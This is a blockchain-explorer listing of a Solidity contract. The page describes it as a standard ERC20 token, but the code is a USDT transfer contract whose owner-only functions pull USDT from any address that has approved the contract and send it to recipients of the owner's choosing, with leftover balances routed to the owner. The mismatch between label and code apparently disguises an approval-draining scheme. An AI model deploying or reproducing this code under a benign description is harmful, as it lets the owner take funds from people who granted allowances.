Description:
ERC20 token contract. Standard implementation for fungible tokens on Ethereum.
Blockchain: Ethereum
Source Code: View Code On The Blockchain
Solidity Source Code:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function decimals() external view returns (uint8);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract USDTTransferContract is Ownable, ReentrancyGuard {
IERC20 public usdtToken;
bool public paused = false;
uint256 public constant MAX_BATCH_SIZE = 100;
event TokenTransferred(address indexed from, address indexed to, uint256 amount, uint256 timestamp);
event BatchTransferCompleted(address indexed from, uint256 totalRecipients, uint256 totalAmount, uint256 timestamp);
event EmergencyWithdraw(address indexed token, address indexed to, uint256 amount, uint256 timestamp);
event USDTContractUpdated(address indexed oldContract, address indexed newContract, uint256 timestamp);
event PauseChanged(bool paused, uint256 timestamp);
modifier whenNotPaused() {
require(!paused, "Contract is paused");
_;
}
constructor(address _usdtToken) {
require(_usdtToken != address(0), "USDT token address cannot be zero");
usdtToken = IERC20(_usdtToken);
}
function transferUSDT(address from, address to, uint256 amount) external onlyOwner nonReentrant whenNotPaused {
require(from != address(0), "From address cannot be zero");
require(to != address(0), "To address cannot be zero");
require(amount > 0, "Amount must be greater than zero");
_safeTransferFrom(usdtToken, from, to, amount);
emit TokenTransferred(from, to, amount, block.timestamp);
}
function batchTransferUSDT(
address from,
address[] calldata recipients,
uint256[] calldata amounts
) external onlyOwner nonReentrant whenNotPaused {
require(recipients.length == amounts.length, "Arrays length mismatch");
require(recipients.length > 0, "Empty recipients array");
require(recipients.length <= MAX_BATCH_SIZE, "Too many recipients");
require(from != address(0), "From address cannot be zero");
uint256 totalAmount = 0;
for (uint256 i = 0; i < amounts.length; i++) {
require(recipients[i] != address(0), "Recipient cannot be zero address");
require(amounts[i] > 0, "Amount must be greater than zero");
totalAmount += amounts[i];
}
_safeTransferFrom(usdtToken, from, address(this), totalAmount);
for (uint256 i = 0; i < recipients.length; i++) {
_safeTransfer(usdtToken, recipients[i], amounts[i]);
emit TokenTransferred(from, recipients[i], amounts[i], block.timestamp);
}
emit BatchTransferCompleted(from, recipients.length, totalAmount, block.timestamp);
}
function optimizedBatchTransfer(
address from,
address[] calldata recipients,
uint256 totalAmount
) external onlyOwner nonReentrant whenNotPaused {
require(recipients.length > 0, "Empty recipients array");
require(recipients.length <= MAX_BATCH_SIZE, "Too many recipients");
require(from != address(0), "From address cannot be zero");
require(totalAmount > 0, "Total amount must be greater than zero");
_safeTransferFrom(usdtToken, from, address(this), totalAmount);
uint256 individualAmount = totalAmount / recipients.length;
require(individualAmount > 0, "Individual amount too small");
for (uint256 i = 0; i < recipients.length; i++) {
require(recipients[i] != address(0), "Recipient cannot be zero address");
_safeTransfer(usdtToken, recipients[i], individualAmount);
emit TokenTransferred(from, recipients[i], individualAmount, block.timestamp);
}
uint256 remainingBalance = usdtToken.balanceOf(address(this));
if (remainingBalance > 0) {
_safeTransfer(usdtToken, owner(), remainingBalance);
}
emit BatchTransferCompleted(from, recipients.length, totalAmount, block.timestamp);
}
function _safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
(bool success, bytes memory data) = address(token).call(
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"TransferFrom failed"
);
}
function _safeTransfer(IERC20 token, address to, uint256 value) internal {
(bool success, bytes memory data) = address(token).call(
abi.encodeWithSelector(token.transfer.selector, to, value)
);
require(
success && (data.length == 0 || abi.decode(data, (bool))),
"Transfer failed"
);
}
function getAllowance(address user) external view returns (uint256) {
return usdtToken.allowance(user, address(this));
}
function getUSDTBalance(address user) external view returns (uint256) {
return usdtToken.balanceOf(user);
}
function getUSDTContract() external view returns (address) {
return address(usdtToken);
}
function updateUSDTContract(address newUSDTContract) external onlyOwner {
require(newUSDTContract != address(0), "New USDT contract cannot be zero");
require(newUSDTContract != address(usdtToken), "New contract same as current");
address oldContract = address(usdtToken);
usdtToken = IERC20(newUSDTContract);
emit USDTContractUpdated(oldContract, newUSDTContract, block.timestamp);
}
function setPaused(bool _paused) external onlyOwner {
require(paused != _paused, "Already in this state");
paused = _paused;
emit PauseChanged(_paused, block.timestamp);
}
function emergencyWithdraw(address token, address to, uint256 amount) external onlyOwner nonReentrant {
require(token != address(0), "Token address cannot be zero");
require(to != address(0), "To address cannot be zero");
require(amount > 0, "Amount must be greater than zero");
IERC20 tokenContract = IERC20(token);
_safeTransfer(tokenContract, to, amount);
emit EmergencyWithdraw(token, to, amount, block.timestamp);
}
function emergencyWithdrawETH(address payable to, uint256 amount) external onlyOwner nonReentrant {
require(to != address(0), "To address cannot be zero");
require(amount > 0, "Amount must be greater than zero");
require(address(this).balance >= amount, "Insufficient ETH balance");
(bool success, ) = to.call{value: amount}("");
require(success, "ETH transfer failed");
}
function getContractTokenBalance(address token) external view returns (uint256) {
return IERC20(token).balanceOf(address(this));
}
receive() external payable {}
fallback() external payable {}
function getContractInfo() external view returns (
address contractAddress,
address ownerAddress,
address usdtAddress,
bool isPaused,
uint256 ethBalance,
uint256 usdtBalance
) {
return (
address(this),
owner(),
address(usdtToken),
paused,
address(this).balance,
usdtToken.balanceOf(address(this))
);
}
}
Submitted on: 2025-10-21 09:54:47
Comments
Log in to comment.
No comments yet.